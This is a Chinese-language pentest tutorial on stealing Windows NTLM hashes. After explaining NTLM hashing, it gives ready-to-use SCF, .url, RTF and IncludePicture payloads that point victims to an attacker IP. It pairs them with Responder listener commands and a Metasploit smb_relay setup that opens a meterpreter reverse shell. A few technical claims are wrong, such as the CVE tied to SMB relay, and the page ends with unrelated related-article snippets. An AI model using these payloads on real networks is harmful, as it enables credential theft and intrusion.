内网渗透hash窃取技巧

VSole2021-11-28 06:53:23

前言

在内网渗透的过程中,最重要的就是信息搜集,但是在极端情况下我们找不到能够横或者跨域的机器,那么这时候我们就可以尝试做一个水坑,来尝试获取hash。当然这只是理想情况,在愈发强调对抗的当下,利用水坑钓鱼也变得不是那么简单。

本地认证

既然是获取hash就需要一些基础知识,这里首先说以下本地认证。在Windows中,密码Hash称之为NTLM Hash,这个NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较

假设我的密码是admin,那么操作系统会将admin转换为十六进制,经过Unicode转换后,再调用MD4加密算法加密,这个加密结果的十六进制就是NTLM Hash

admin -> hex(16进制编码) = 61646d696e

61646d696e -> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

本地认证中主要可以概括为以下三步:winlogon.exe -> 接收用户输入 -> lsass.exe -> (认证)

首先,用户注销、重启、锁屏后,操作系统会让winlogon显示登录界面,也就是输入框,接收输入后,将密码交给lsass进程,这个进程中会存一份明文密码,将明文密码加密成NTLM Hash,对SAM数据库比较认证。

SCF文件

首先简单的说一下什么是scf文件

Microsoft Windows 是使用Windows Explorer Command 文件的主要软件程序,该文件最初由 Microsoft Corporation开发。网站访问者分析表明,SCF 文件通常在 Windows 10 用户计算机上找到,在 United States中最受欢迎。统计上,这些用户很可能正在运行Google Chrome internet浏览器。

其实是UNC路径

UNC,即Universal Naming Convention,意为通用命名规则。UNC路径就是类似\softer这样的形式的网络路径,unc共享就是指网络硬盘的共享:

当访问softer计算机中名为it168的共享文件夹,用UNC表示就是\softer\it168;如果是softer计算机的默认管理共享C$则用\softer\c$来表示。

可以使用SCF文件执行有限的一组操作(例如显示Windows桌面或打开Windows资源管理器)。但是,如果使用SCF文件访问特定的UNC路径,那么我们可以发起攻击

这里简单介绍下环境

攻击机kali:192.168.10.11

靶机win7:192.168.10.15

首先生成一个SCF文件

[Shell]
Command=2
IconFile=\\192.168.10.11\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

然后将这个scf文件设置为共享状态

然后使用kali上的responder进行监听操作

responder -I eth0

这里简单说一下responder,Responder是监听LLMNR和NetBIOS协议的工具之一,能够抓取网络中所有的LLMNR和NetBIOS请求并进行响应,获取最初的账户凭证。

Responder会利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP认证服务器,DNS服务器、WPAD代理服务器,以及FTP、POP3、IMAP、SMTP等服务器,收集目标网络中的明文凭据,还可以通过Multi-Relay功能在目标系统中执行命令。

当目标机器只要访问这个scf文件之后我们就可以拿到它的NTLM hash,注意这里不需要点击也可以得到,只需要能够访问即可

当用户浏览共享时,将自动从他的系统建立到SCF文件中包含的UNC路径的连接。Windows将尝试使用用户名和密码对共享进行身份验证。在该身份验证过程中,服务器会向客户端发送一个随机的8字节质询密钥,并使用此质询密钥再次加密散列的NTLM/ LANMAN密码,我们将捕获NTLMv2哈希。

smb中继

直接使用SCF进行攻击的一个好处就是不需要跟任何用户进行交互并且能够使用户强制进行NTLMv2 hash进行协商。这里也可以跟smb中继技术相结合,得到一个meterpreter

使用smb中继有一个比较有名的漏洞就是CVE-2020-0796,要想了解smb中继首先需要知道NTLM v2的认证流程

1.客户端向服务器发送登录请求,密码在客户端被 hash 一次 2.客户端向服务器发送 username 3.服务器返回一个 16 字节的挑战码(Challenge),并将已存储的用户密码 hash 加密这个 Challenge,生成 Challenge1 4.客户端将第一步 hash 的密码与 Challenge 再进行 hash 一次,生成 response 即 Challenge2 5.客户端将 response 发送给服务器 6.服务器比较 Challenge1 和 response,相同则认证成功

这里了解了NTLM的认证原理,那么smb中继就简单了,这里攻击者加在了中间,不断的截获流量并重放流量

使用exploit/windows/smb/smb_relay进行监听,同上操作即可拿到一个meterpreter

use exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.11
run

使用超链接

这里使用超链接窃取hash的原理跟LLMNR欺骗有类似之处,都是访问一个不存在的路径/程序,从而达到在本地子网发送请求的效果。这里就不扩展说LLMNR欺骗了,有兴趣的小伙伴可自行搜索

生成一个超链接,编辑超链接指向kali,注意这个qwe.exe在kali上是不存在的

\\192.168.10.11\qwe.exe

开启监听

responder -I eth0

当靶机打开这个超链接之后我们就能得到hash值

使用url

原理跟使用超链接类似,让靶机去访问IconFile=\\192.168.10.11\qwe.icon,即一个不存在的文件

生成一个test1.url,内容如下

c:\link.url@victim
[InternetShortcut]
URL=whatever                        //url内容
WorkingDirectory=whatever            //url名称
IconFile=\\192.168.10.11\qwe.icon
IconIndex=1

使用responder进行监听

responder -I eth0

注意这里如果使用url的话会有点明显,会有一个uac界面的提醒,会增加被发现的可能

这里假装受害者比较笨点了这个url如下图所示

就会得到靶机的ntlm hash

使用RTF

何为rtf?

****富文本格式**(**Rich Text Format**)即**RTF格式**,又称*多文本格式*,是由微软公司开发的跨平台文档格式。大多数的文字处理软件都能读取和保存RTF文档。

富文本格式 (RTF) 是一种方便于不同的设备、系统查看的文本和图形文档格式。

rtf文件的创建主要是为了方便在不同操作系统下创建的文件能够在多个操作系统之间进行传输和查看

生成一个test2.rtf,内容如下所示

{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://192.168.10.11/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}

这里出了点问题,好像是因为我是win7没有装word,所以rtf文件格式显示不出来,这里如果使用word打开是能够抓到hash的,这里就不演示了

没有抓到hash...

通过IncludePicture

何为IncludePicture?IncludePicture就相当于一个windows为了方便插入多个图片而设计的一个功能

这里使用ctfl + F9可以得到一个{ includePicture },我们在后面加上一个不存在的地址,组合起来就为{ includePicture "\\192.168.10.11\test.jpg"}

保存为一个xml文件

上传到靶机启动即可窃取hash

hash
本作品采用《CC 协议》,转载必须注明作者和本文链接
//oldTab:引用扩容前的哈希表。//oldCap:表示扩容前的table数组的长度。//获得旧哈希表的扩容阈值。//newThr:扩容之后下次触发扩容的条件。//条件成立说明hashMap中的散列表已经初始化过了,
一般翻译做“散列”,也有直接音译为“哈希”的,就是把任意长度的输入,通过散列算法,变换成固定长度的输 出,该输出就是散列值。
Perfetch Hash Cracker是一款基于Rust开发的强大暴力破解工具,该工具可以帮助广大研究人员通过爆破的形式破解prefetch哈希。
随着攻防演练的频繁和?们安全意识的提升,企业内部Windows主机的?令也设置的较为复杂,经 常拿到windows 服务器的时候,获取到了hash,但是?法解密出密码的情况,这时候就需要?法,攻击者不需要花费时间来怼hash进?02测试环境Windows server 2012 ?先需要获取ntml hash,由于直接从内存读取到的可能是密码修改之前的hash,这?些远程命令的执??持wmi,默认开启,且windows 默认不会将wmi 的操作记录到?具的原理是wmi 创建进程执?impacket 中的smbexec 程序,命令如下python3 smbexec.py -hashes
Wavecrack是一款针对密码安全的强大工具,该工具提供了一个用户友好的Web接口,该工具支持预定义的配置,并能够在多个用户之间共享hashcat破解信息,然后使用hashcat实现密码破解。?hashcatFlaskCelerySQLiterabbitmq-serverhashcat规则字典文件?首先,我们需要使用下列命令将该项目源码克隆至本地:git?安装RabbitMQ服务器和python-ldap依赖:$?开启RabbitMQ服务器:$ sudo service rabbitmq-server start. 工具首页添加一个待破解的哈希查看结果和其他状态信息?本项目的开发与发布遵循GNU开源许可证协议。?
笔者在对volatility工具进行了解后,对分析vmem文件的手法进行了一定优化,可以提升解决锁屏问题的效率。不过官方团队并没有打包volatility3的可执行程序,原因写的是打包出来的packages会被识别为恶意软件,解决了这个问题就会出可执行程序了。过程思路一、直接在esxi中部署volatility3项目Linux环境下的esxi,这个思考很快就被证明不太可行了,volatility3需要多个系统库和pip库:yum install zlib &&\yum install zlib-devel &&\yum install bzip2-devel &&\yum install ncurses-devel &&\yum install sqlite-devel &&\yum install readline-devel &&\yum install gcc &&\yum install libffi &&\yum install libffi-devel &&\yum install gcc-c++\yum install openssl-devel\yum install tk-devel
虽然加密技术新辈多出,但哈希算法(也称“散列算法”)自诞生以来,已成为加密算法领域不可或缺的应用。 最简单的散列算法也被用来加密存在数据库中的密码字符串,日常我们在各大APP中注册时填写的密码均是以字符串方式保存在服务器中,用户登陆时需要再次对输入密码实施哈希计算,而后将两个密码字符串进行碰撞验证登陆。
内网渗透hash窃取技巧
2021-11-28 06:53:23
在内网渗透的过程中,最重要的就是信息搜集,但是在极端情况下我们找不到能够横或者跨域的机器,那么这时候我们就可以尝试做一个水坑,来尝试获取hash。当然这只是理想情况,在愈发强调对抗的当下,利用水坑钓鱼也变得不是那么简单。
我们知道HashMap底层是由数组+链表/红黑树构成的,当我们通过put(key, value)向hashmap中添加元素时,需要通过散列函数确定元素究竟应该放置在数组中的哪个位置,当不同的元素被放置在了数据的同一个位置时,后放入的元素会以链表的形式,插在前一个元素的尾部,这个时候我们称发生了hash冲突。
VSole
网络安全专家